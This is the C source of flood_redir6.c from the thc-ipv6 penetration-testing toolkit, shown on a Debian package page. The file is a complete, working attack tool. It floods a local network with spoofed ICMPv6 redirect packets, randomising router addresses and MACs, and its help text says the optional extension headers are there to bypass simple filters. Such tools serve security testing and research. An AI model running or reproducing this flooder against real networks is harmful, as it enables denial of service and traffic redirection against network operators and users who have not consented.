File: flood_redir6.c

package info (click to toggle)
thc-ipv6 3.6-1
  • links: PTS, VCS
  • area: main
  • in suites: bullseye, buster, sid
  • size: 2,116 kB
  • sloc: ansic: 52,618; sh: 529; makefile: 77; perl: 34
file content (181 lines) | stat: -rw-r--r-- 5,312 bytes parent folder | download
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"

void help(char *prg) {
  printf("%s %s (c) 2019 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
  printf("Syntax: %s [-HFD] interface [target] [oldrouter [newrouter]]\n\n", prg);
  printf("Flood the local network with ICMPv6 redirect packets.\n");
  printf("-F/-D/-H add fragment/destination/hopbyhop header to bypass simple filters\n");
  printf("-a adds hopbyhop with router alert\n");
//  printf("Use -r to use raw mode.\n\n");
  exit(-1);
}

int main(int argc, char *argv[]) {
  char *interface, mac[6] = "", newroutermac[6];
  unsigned char *mac6 = mac;
  unsigned char buf[1460], buf2[6], buf3[1504];
  unsigned char *dst = thc_resolve6("ff02::1"), *fake_src = NULL, *fake_dst = NULL, *dstmac = NULL, *oldrouter = NULL, *newrouter = NULL;
  int i, j, k, type = NXT_ICMP6, offset = 14, rand_newrouter = 1;
  unsigned char *pkt = NULL, *pkt2 = NULL;
  int pkt_len = 0, pkt_len2 = 0, rawmode = 0, count = 0, do_alert = 0, do_hop = 0, do_frag = 0, do_dst = 0;
  int until = 0;
  thc_ipv6_hdr *hdr = NULL, *hdr2 = NULL;

  if (argc < 2 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  while ((i = getopt(argc, argv, "aDFH")) >= 0) {
    switch (i) {
    case 'F':
      do_frag++;
      break;
    case 'H':
      do_hop = 1;
      break;
    case 'a':
      do_alert = 1;
      do_hop = 1;
      break;
    case 'D':
      do_dst = 1;
      break;
    default:
      fprintf(stderr, "Error: invalid option %c\n", i);
      exit(-1);
    }
  }

  if (argc - optind < 1)
    help(argv[0]);

  srand(time(NULL) + getpid());
  setvbuf(stdout, NULL, _IONBF, 0);

  interface = argv[optind];
  if (argc - optind > 1) {
    dst = thc_resolve6(argv[optind + 1]);
    fake_src = dst;
  } else
    fake_src = thc_resolve6("fe80::");
  dstmac = thc_get_multicast_mac(dst);  
  if (argc - optind > 2) {
    oldrouter = thc_resolve6(argv[optind + 2]);
    if ((mac6 = thc_get_mac(interface, NULL, dst)) == NULL)
      mac6 = thc_get_own_mac(interface);
  } else {
    if (dst[0] >= 0x20 && dst[0] <= 0xfd)
      oldrouter = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL);
    else
      oldrouter = thc_get_own_ipv6(interface, dst, PREFER_LINK);
    mac6 = thc_get_own_mac(interface);
  }
  if (mac6 == NULL) {
    fprintf(stderr, "Error: invalid interface %s\n", interface);
    exit(-1);
  }
  if (argc - optind > 3) {
    newrouter = thc_resolve6(argv[optind + 2]);
    rand_newrouter = 0;
  } else
    newrouter = thc_resolve6("fe80::2");
  fake_dst = thc_resolve6("2004::1");
  memset(newroutermac, 0, 6);

  if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len2, fake_src, fake_dst, 0, 0, 0, 0, 0)) == NULL)
    return -1;
  if (thc_add_icmp6(pkt2, &pkt_len2, ICMP6_PING, 0, 0, NULL, 0, 0) < 0)
    return -1;
  thc_generate_pkt(interface, mac6, dstmac, pkt2, &pkt_len2);
  hdr = (thc_ipv6_hdr *) pkt2;

  k = rand();
  newroutermac[1] = 2;
  memcpy(newroutermac + 2, (char*) &k + _TAKE4, 4);
  k++;

  if (do_hdr_size)
    offset = do_hdr_size;

  memset(buf2, 0, sizeof(buf2));
  memset(buf3, 0, sizeof(buf3));
  memset(buf, 0, sizeof(buf));

  j = 0;
  buf[j++] = 0; // etc.
  memcpy(buf, newrouter, 16);
  memcpy(buf + 16, fake_dst, 16);
  buf[32] = 2;
  buf[33] = 1;
  memcpy(buf + 34, newroutermac, 6);
  buf[40] = 4;
  buf[41] = (hdr->pkt_len - offset + 8) / 8;
  memcpy(buf + 48, hdr->pkt + offset, (buf[41] - 1) * 8);
  j = 40 + buf[41] * 8;

  if (do_alert) {
    buf2[0] = 5;
    buf2[1] = 2;
  }
  
  printf("Starting to flood with ICMPv6 redirects on %s (Press Control-C to end, a dot is printed for every 1000 packets):\n", interface);
  while (until != 1) {
    if (rand_newrouter)
      memcpy(buf + 8, (char*)&k + _TAKE4, 4); // new router
    memcpy(buf + 16 + 2, (char*)&k + _TAKE4, 4); // orig dst
    memcpy(buf + 34 + 2, (char*) &k + _TAKE4, 4); // new router mac
    k++;
    count++;
    if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, oldrouter, dst, 255, 0, 0, 0, 0)) == NULL)
      return -1;
    if (do_hop) {
      type = NXT_HBH;
      if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0)
        return -1;
    }
    if (do_frag) {
      if (type == NXT_ICMP6)
        type = NXT_FRAG;
      for (i = 0; i < do_frag; i++)
        if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, count + i) < 0)
          return -1;
    }
    if (do_dst) {
      if (type == NXT_ICMP6)
        type = NXT_DST;
      if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
        return -1;
    }

    if (thc_add_icmp6(pkt, &pkt_len, ICMP6_REDIR, 0, 0, buf, j, 0) < 0)
      return -1;

    if (do_dst) {
      thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len);
      hdr2 = (thc_ipv6_hdr *) pkt;
      thc_send_as_fragment6(interface, oldrouter, dst, type, hdr2->pkt + 40 + offset, hdr2->pkt_len - 40 - offset, 1240);
    } else {
      if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) {
        printf("!");
      }
    }

    pkt = thc_destroy_packet(pkt);
//    usleep(1);
    if (count % 1000 == 0)
      printf(".");
    if (until > 1)
      until--;
  }

  return 0;
}